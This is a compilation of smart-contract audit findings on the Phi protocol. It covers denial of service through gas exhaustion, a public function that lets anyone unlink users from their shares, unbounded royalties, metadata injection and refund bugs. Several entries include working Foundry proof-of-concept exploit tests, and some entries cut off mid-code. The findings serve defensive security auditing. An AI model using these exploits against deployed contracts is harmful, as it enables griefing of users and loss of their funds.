xanoutas/solidity-security-findings huggingface dataset:
The distribution of rewards to curators can be permanently blocked
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L674
https://github.com/code-423n4/2024-08-phi/blob/main/src/reward/CuratorRewardsDistributor.sol#L84
https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L920-L927
https://github.com/code-423n4/2024-08-phi/blob/main/src/reward/CuratorRewardsDistributor.sol#L123-L125


# Vulnerability details

## Impact

The distribution of rewards can be permanently blocked when too many curators hold shares of a cred. If the gas cost of executing the `CuratorRewardsDistributor.sol::distribute()` function exceeds the block gas limit, the function reverts, rendering the distribution process non-functional.

## Proof of Concept

The following table outlines the gas costs associated with distributing rewards as the number of curators increase:

| Curators |     Gas    |
|:--------:|:----------:|
|    50    |  1 647 252 |
|    100   |  3 278 569 |
|    250   |  8 180 197 |
|    500   | 16 375 161 |
|    750   | 24 602 108 |
|    850   | 27 901 842 |
|    886   | 29 090 999 |
|    887   | Out of Gas |

This Proof of Concept illustrates how the rewards distribution mechanism can be permanently bricked if the number of curators naturally becomes too large.


```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

import { Settings, console2 as console } from "../helpers/Settings.sol";

import { ECDSA } from "solady/utils/ECDSA.sol";

/**
 * @notice forge test --mt test_distribute_denial_of_service -vvv --gas-limit 30000000
 */
contract DistributorDos is Settings {
    address internal immutable distributor = makeAddr("distributor");
    address internal immutable creator = makeAddr("creator");
    address internal immutable account = makeAddr("account");

    function setUp() public override {
        super.setUp();
    }

    function test_distribute_denial_of_service() public {
        // Stop metering gas.
        vm.pauseGasMetering();

        // Create a new cred.
        uint256 credId = _createCred();

        // Amount to be distributed to the curators of the cred.
        uint256 amountToBeDistributed = 100 ether;

        // Deal ETH to the account depositing rewards to be distributed.
        deal(account, amountToBeDistributed);

        // Account deposits ETH in the distributor.
        vm.prank(account);
        curatorRewardsDistributor.deposit{ value: amountToBeDistributed }(credId, amountToBeDistributed);

        // Buy cred shares with as little value as possible with different accounts.
        uint256 supply = 1;
        for (uint256 i = 1; i < 887; ++i) {
            // Generator a random curator address
            address curator = makeAddr(string(abi.encodePacked("curator", i)));
            
            // Get the price needed to buy one share.
            uint256 buyPrice = bondingCurve.getBuyPriceAfterFee(credId, supply, 1);

            // Deal ETH to the curator to buy cred shares.
            deal(curator, buyPrice);

            /
Wrong function visibility enables attackers to block users from selling cred shares
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L685
https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L695


# Vulnerability details

## Impact

An attacker can prevent users from selling their cred shares due to wrong function visibility. By calling the public function [`Cred.sol::_addCredIdPerAddress()`](https://github.com/code-423n4/2024-08-phi/blob/main/src/Cred.sol#L685), the attacker can disassociate the user from their shares, effectively locking the user's ability to sell them. This results in a denial of service scenario, where users are unable to sell their shares.

## Proof of Concept

Here is a Proof of Concept demonstrating how an attacker can exploit this vulnerability:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

import { Settings, console2 as console } from "../helpers/Settings.sol";

import { ECDSA } from "solady/utils/ECDSA.sol";

contract DenialOfServiceGrief is Settings {
    address internal immutable attacker = makeAddr("attacker");
    address internal immutable creator = makeAddr("creator");
    address internal immutable user = makeAddr("user");

    function setUp() public override {
        super.setUp();
    }

    function test_denial_of_service_grief() public {
        // Create a new cred.
        uint256 credId = _createCred();

        // Get the amount of ETH needed to buy one share.
        uint256 price = bondingCurve.getBuyPriceAfterFee(credId, 1, 1);

        // Deal ETH to the user
        deal(user, price);

        // User buys one share of the cred.
        vm.prank(user);
        cred.buyShareCred{ value: price }(credId, 1, price);

        // Attacker removes the association between the user and the cred id.
        vm.prank(attacker);
        cred._removeCredIdPerAddress(credId, user);

        // Wait for the share lock period to end.
        skip(cred.SHARE_LOCK_PERIOD() + 1);

        // User tries to sell his share but the function reverts
        vm.startPrank(user);
        vm.expectRevert();
        cred.sellShareCred(credId, 1, 0);
    }

    function _createCred() internal returns (uint256){
        // Encode the create cred data.
        bytes memory data = abi.encode(block.timestamp + 100, creator, 31_337, address(bondingCurve), "test", "BASIC", "SIGNATURE", 0x0);

        // Compute the hash of the structured data.
        bytes32 structHash = keccak256(data);

        // Compute the digest of the structured data.
        bytes32 digest = ECDSA.toEthSignedMessageHash(structHash);

        // Phi signer signates the create cred digest.
        (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, digest);
        if (cv != 27) cs = cs | bytes32(uint256(1) << 255);

        // Creator submites the create cred transaction signed by the phi signer.
        vm.startPrank(creator);

        // Get the price needed to buy the first share.
        uint256 credId = 1;
        uint256 supply = 0;
        uint256
`CuratorRewardsDistributor::distribute` Exceeds 30,000,000 Block Gas Limit When 110 or More Curators Hold Shares for the Same Credential
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/reward/CuratorRewardsDistributor.sol#L77-L130


# Vulnerability details

## Impact

The `distribute` function in the `CuratorRewardsDistributor` contract is used to distribute rewards to curators who have invested in shares of a particular credential whenever a related NFT is minted. Due to the function's need to repeatedly process the list of shareholders, it becomes highly gas-intensive. When the number of curators with shares in a single credential reaches 110 or more, the gas required can exceed the 30,000,000 block limit. This leads to transaction reverts, causing the rewards to become locked within the contract.


```solidity
function distribute(uint256 credId) external {
    if (!credContract.isExist(credId)) revert InvalidCredId();
    uint256 totalBalance = balanceOf[credId];
    if (totalBalance == 0) {
        revert NoBalanceToDistribute();
    }

// @> Gas intensive computation
    address[] memory distributeAddresses = credContract.getCuratorAddresses(credId, 0, 0);
    uint256 totalNum;

// @> Gas intensive computation
    for (uint256 i = 0; i < distributeAddresses.length; i++) {
        totalNum += credContract.getShareNumber(credId, distributeAddresses[i]);
    }

    if (totalNum == 0) {
        revert NoSharesToDistribute();
    }

    uint256[] memory amounts = new uint256[](distributeAddresses.length);
    bytes4[] memory reasons = new bytes4[](distributeAddresses.length);


    uint256 royaltyfee = (totalBalance * withdrawRoyalty) / RATIO_BASE;
    uint256 distributeAmount = totalBalance - royaltyfee;

    // actualDistributeAmount is used to avoid rounding errors
    // amount[0] = 333 333 333 333 333 333
    // amount[1] = 333 333 333 333 333 333
    // amount[2] = 333 333 333 333 333 333
    uint256 actualDistributeAmount = 0;
// @> Gas intensive computation
    for (uint256 i = 0; i < distributeAddresses.length; i++) {
        address user = distributeAddresses[i];

        uint256 userAmounts = credContract.getShareNumber(credId, user);
        uint256 userRewards = (distributeAmount * userAmounts) / totalNum;

        if (userRewards > 0) {
            amounts[i] = userRewards;
            actualDistributeAmount += userRewards;
        }
    }

    balanceOf[credId] -= totalBalance;

    _msgSender().safeTransferETH(royaltyfee + distributeAmount - actualDistributeAmount);

    //slither-disable-next-line arbitrary-send-eth
// @> Gas intensive computation
    phiRewardsContract.depositBatch{ value: actualDistributeAmount }(
        distributeAddresses, amounts, reasons, "deposit from curator rewards distributor"
    );

    emit RewardsDistributed(
        credId, _msgSender(), royaltyfee + distributeAmount - actualDistributeAmount, distributeAmount, totalBalance
    );
}
```

## Proof of Concept

Add the following test to `/test/CuratorRewardsDistributor.t.sol`:

First, ensure you import the `Strings` library from OpenZeppelin by adding the follo
_updateRoyalties() has no upper bound check
Audit: 2024-08-phi-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/main/src/abstract/CreatorRoyaltiesControl.sol#L27-L35


# Vulnerability details

## Impact
Art creator can set up a 100% royalty fee

## Proof of Concept
The _updateRoyalties() is called by PhiNFT1155.sol in the updateRoyalties() and no checks exist about the value that's being set to the royalty fee, so the artist (it has an modifier that checks the role, must be an artist) can set it to 100%, and the user will lose of all his funds in the tx if that happens.

The royalty functionality is related to the EIP-2981, so the value that's set will be used by the marketplace.

## Tools Used
Manual review

## Recommended Mitigation Steps
Simple, add a validation that's checks the value before it is being set.


## Assessed type

Invalid Validation
Unsanitized Input in mint() Allows JSON Injection, Compromising NFT Metadata Integrity
Audit: 2024-08-phi-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L283
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/abstract/Claimable.sol#L47
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L164


# Vulnerability details

## SUMMARY:

A confirmed vulnerability has been identified within the Phi Protocol's `mint()` function in the `PhiNFT1155` contract, rooted in the unsanitized handling of user inputs. Specifically, the vulnerability arises from the direct assignment of the `imageURI_` parameter, which can be exploited via JSON injection. This flaw allows attackers to introduce malicious metadata, consequently leading to incorrect interpretations by front-end applications. Functions such as `claimFromFactory()` in `PhiNFT1155` and `merkleClaim()` in related contracts facilitate this issue by enabling the flow of crafted user inputs that compromise metadata integrity. Despite existing signature verification mechanisms, these functions lack adequate input sanitization to prevent such vulnerabilities.

## RELEVANT CODE:

```solidity
// src/PhiNFT1155.sol
function mint(
    address to_,
    uint256 tokenId_,
    uint256 quantity_,
    string calldata imageURI_,
    bytes32 data_
) internal {
    minterData[tokenId_][to_] = data_;
    advancedTokenURI[tokenId_][to_] = imageURI_; // Direct assignment is vulnerable
    if (!minted[to_]) {
        minted[to_] = true;
    }

    _mint(to_, tokenId_, quantity_, "0x00");
}
```

```solidity
// src/abstract/Claimable.sol
function merkleClaim() external payable {
    (
        address minter,
        bytes32[] memory proof,
        address ref,
        uint256 tokenId,
        uint256 quantity,
        bytes32 leafPart,
        string memory imageURI
    ) = _decodeMerkleClaimData();

    uint256 artId = getFactoryArtId(tokenId);
    IPhiFactory phiFactory = getPhiFactoryContract();

    bytes memory claimData = abi.encode(minter, ref, artId);
    
    IPhiFactory.MintArgs memory mintArgs = IPhiFactory.MintArgs(tokenId, quantity, imageURI);
    phiFactory.merkleClaim{ value: msg.value }(proof, claimData, mintArgs, leafPart);
}
```

```solidity
// src/PhiFactory.sol
function createArt(
    bytes calldata signedData_,
    bytes calldata signature_,
    CreateConfig memory createConfig_
) external payable nonReentrant whenNotPaused returns (address) {
    _validateArtCreationSignature(signedData_, signature_);
    (, string memory uri_, bytes memory credData) = abi.decode(signedData_, (uint256, string, bytes));
    ERC1155Data memory erc1155Data = _createERC1155Data(artIdCounter, createConfig_, uri_, credData);
    address artAddress = createERC1155Internal(artIdCounter, erc1155Data);
    artIdCounter++;
    return artAddress;
}
```

## VULNERABILITY DETAILS:

The identified vulnerability within the Phi Protocol's `mint()` function facilitates
Upgraded Q -> 2 from #332 [1727113682478]
Audit: 2024-08-phi-findings
Severity: MEDIUM

Judge has assessed an item in Issue #332 as 2 risk. The relevant finding follows:

 Proof of Concept
The PhiNFT1155.sol contracts inherit the Claimable.sol contracts, which have the signatureClaim() and merkleClaim() functions. Let's say users use these functions to claim their tokens. These functions call the signatureClaim() and merkleClaim() functions on the phiFactory contract.
File: Claimable.sol
23:     function signatureClaim() external payable {
24:         ...
40:         ...
42: 
43:         IPhiFactory phiFactoryContract = getPhiFactoryContract();
44:         IPhiFactory.MintArgs memory mintArgs_ = IPhiFactory.MintArgs(tokenId_, quantity_, imageURI_);
45:         phiFactoryContract.signatureClaim{ value: msg.value }(signature, claimData_, mintArgs_);
46:     }
47: 
48:     /// @notice Processes a merkle claim.
49:     function merkleClaim() external payable {
50:         ...
64: 
65:         IPhiFactory.MintArgs memory mintArgs = IPhiFactory.MintArgs(tokenId, quantity, imageURI);
66:         phiFactory.merkleClaim{ value: msg.value }(proof, claimData, mintArgs, leafPart);
67:     }
These functions signatureClaim() and merkleClaim() call the internal functions _validateAndUpdateClaimState() and _processClaim(). in the functions, we observe the following:
In _validateAndUpdateClaimState(), we pass the condition since msg.sender is the artAddress
In _processClaim(), the refund is sent to the msg.sender. But we just saw in the above point that the msg.sender is the artAddress.
Due to this, the refunds are sent to the PhiNFT1155.sol contracts, where there is no logic further to refund the actual msg.sender.
File: PhiFactory.sol
717:     function _validateAndUpdateClaimState(uint256 artId_, address minter_, uint256 quantity_) private {
718:         PhiArt storage art = arts[artId_];
719: 
720:         // Common validations
721:         if (tx.origin != _msgSender() && msg.sender != art.artAddress && msg.sender != address(this)) {
722:             revert TxOriginMismatch();
723:         }
724:         ...
736:     }


File: PhiFactory.sol
738:     function _processClaim(
739:         uint256 artId_,
740:         address minter_,
741:         address ref_,
742:         address verifier_,
743:         uint256 quantity_,
744:         bytes32 data_,
745:         string memory imageURI_,
746:         uint256 etherValue_
747:     )
748:         private
749:     {
750:         PhiArt storage art = arts[artId_];
751: 
752:         // Handle refund
753:         uint256 mintFee = getArtMintFee(artId_, quantity_);
754:         
755:         if ((etherValue_ - mintFee) > 0) {
756:             _msgSender().safeTransferETH(etherValue_ - mintFee);
757:         }
758:         ...
774:     }
Upgraded Q -> 2 from #332 [1726856853580]
Audit: 2024-08-phi-findings
Severity: MEDIUM

Judge has assessed an item in Issue #332 as 2 risk. The relevant finding follows:

 [L-07] Missing whenNotPaused() modifier on updateRoyalties(), safeTransferFrom() and safeBatchTransferFrom() functions in PhiNFTERC1155.sol
When a PhiNFTERC1155.sol contract is paused by the owner i.e. the factory contract and thus the owner of the factory contract, it does not apply the pausedrestriction to the updateRoyalties() function and the two transfer functions.

This occurs due to the missing whenNotPaused() modifier on them, which allows artist to update royalties even when contract is paused. Due to this, the NFT artist can still update royalties. This along with the fact that the NFT can be transferred using the two functions during the paused state can be a problem since NFT can continue to be traded in the external market and the artist can continue earning royalties through these trades

There does not seem to be a clear reason why a PhiNFT1155.sol contract would need to be paused other than to permanently halt creation and claiming of tokenIds. The team could maybe consider adding the whenNotPaused() modifier to the updateRoyalties() function and the transfer functions.

Overall, it is highly unlikely a PhiNFT1155 contract would be paused and since the impact is not greater than medium, the issue is being marked as QA.

File: PhiNFT1155.sol
201:     function updateRoyalties(
202:         uint256 tokenId_,
203:         RoyaltyConfiguration memory configuration
204:     )
205:         external
206:         onlyArtCreator(tokenId_)
207:     {
208:         _updateRoyalties(tokenId_, configuration);
209:     }
Upgraded Q -> 2 from #336 [1726625493795]
Audit: 2024-08-phi-findings
Severity: MEDIUM

Judge has assessed an item in Issue #336 as 2 risk. The relevant finding follows:

 [QA-06] PhiFactory:createArt reverts if artCreateFee drop
Impact
The PhiFactory contract cannot receive refund ETH as it does not implement a payable fallback function. If msg.value > artFee in PhiNFT1155:createArtFromFactory call, the transaction will revert.

Instances
createArtFromFactory expects to refund excess ETH to msgSender, which is PhiFactory contract but not possible due to missing payable fallback in PhiFactory code.

Found in src/art/PhiNFT1155.sol at Line 152

138:    function createArtFromFactory(uint256 artId_) external payable onlyPhiFactory whenNotPaused returns (uint256) {
        ...
151:        if ((msg.value - artFee) > 0) {
152: =>             _msgSender().safeTransferETH(msg.value - artFee); 
153:        }
...
156:    }
POC
Apply this patch & Run with: forge test -vvv --mt test_createArt

A PASS result confirms createArt will revert if extra ETH was sent.

diff --git a/test/PhiFactory.t.sol b/test/PhiFactory.t.sol
index f999052..b4e528c 100644
--- a/test/PhiFactory.t.sol
+++ b/test/PhiFactory.t.sol
@@ -70,6 +70,21 @@ contract TestPhiFactory is Settings {
         phiFactory.createArt{ value: NFT_ART_CREATE_FEE }(signCreateData, abi.encodePacked(cr, cs), config);
     }
 
+    function test_createArt() public {
+        bytes memory credData = abi.encode(1, owner, "SIGNATURE", 31_337, bytes32(0));
+        bytes memory signCreateData = abi.encode(expiresIn, "sample-art-id", credData);
+        bytes32 createMsgHash = keccak256(signCreateData);
+        bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
+        (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
+        if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
+        IPhiFactory.CreateConfig memory config =
+            IPhiFactory.CreateConfig(artCreator, receiver, END_TIME, START_TIME, MAX_SUPPLY, MINT_FEE, false);
+
+        // 3. refund reverts
+        vm.expectRevert();
+        phiFactory.createArt{ value: NFT_ART_CREATE_FEE + 1 }(signCreateData, abi.encodePacked(cr, cs), config); // send extra 1 wei
+    }
+
     function test_constructor() public view {
         assertEq(phiFactory.owner(), owner, "owner is correct");
         assertEq(phiFactory.protocolFeeDestination(), protocolFeeDestination, "protocolFeeDestination is correct");

Recommendation
Implement a payable fallback function in the PhiFactory contract to handle ETH refunds.
Upgraded Q -> 2 from #352 [1726263722922]
Audit: 2024-08-phi-findings
Severity: MEDIUM

Judge has assessed an item in Issue #352 as 2 risk. The relevant finding follows:

 1. Excess payment sent to PhiFactory when art is created
Context: https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L152

Detail: PhiNFT1155.createArtFromFactory() refund any excess ETH to caller but the caller for this function is PhiFactory.This results in any excess ETH being refunded to PhiFactory rather than the user. User lost this funds.

Recommendation: Use different logic to refund or enforce that the amount of ETH sent with the call matches the required fee exactly. This prevents any excess ETH from needing to be refunded.
Upgraded Q -> 2 from #340 [1726263484121]
Audit: 2024-08-phi-findings
Severity: MEDIUM

Judge has assessed an item in Issue #340 as 2 risk. The relevant finding follows:

 [QA-07] Missing whenNotPaused modifier in safeTransferFrom and safeBatchTransferFrom functions allows token transfers when contract is paused
Impact
The absence of the whenNotPaused modifier in the safeTransferFrom and safeBatchTransferFrom functions allows users to transfer tokens even when the contract is paused. This undermines the purpose of the pause functionality, which is intended to halt critical operations.

Proof of Concept
safeTransferFrom Function
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L307-L324 The safeTransferFrom function is responsible for transferring tokens from one address to another. However, it lacks the whenNotPaused modifier, which means it can still be executed even when the contract is paused:

function safeTransferFrom(
    address from_,
    address to_,
    uint256 id_,
    uint256 value_,
    bytes memory data_
) public override {
    if (from_ != address(0) && soulBounded(id_)) revert TokenNotTransferable();
    address sender = _msgSender();
    if (from_ != sender && !isApprovedForAll(from_, sender)) {
        revert ERC1155MissingApprovalForAll(sender, from_);
    }

    _safeTransferFrom(from_, to_, id_, value_, data_);
}
safeBatchTransferFrom Function
https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/art/PhiNFT1155.sol#L332-L351 Similarly, the safeBatchTransferFrom function, which handles batch transfers of tokens, also lacks the whenNotPaused modifier:

function safeBatchTransferFrom(
    address from_,
    address to_,
    uint256[] memory ids_,
    uint256[] memory values_,
    bytes memory data_
) public override {
    for (uint256 i; i < ids_.length; i++) {
        if (from_ != address(0) && soulBounded(ids_[i])) revert TokenNotTransferable();
    }
    address sender = _msgSender();
    if (from_ != sender && !isApprovedForAll(from_, sender)) {
        revert ERC1155MissingApprovalForAll(sender, from_);
    }
    _safeBatchTransferFrom(from_, to_, ids_, values_, data_);
}
The whenNotPaused modifier is intended to prevent certain functions from being executed when the contract is paused. Without this modifier, users can still transfer tokens even when the contract is paused, which could lead to unintended consequences during periods when the contract is supposed to be inactive.

Recommended Mitigation Steps
Add the whenNotPaused modifier to both the safeTransferFrom and safeBatchTransferFrom functions to ensure that token transfers are not allowed when the contract is paused.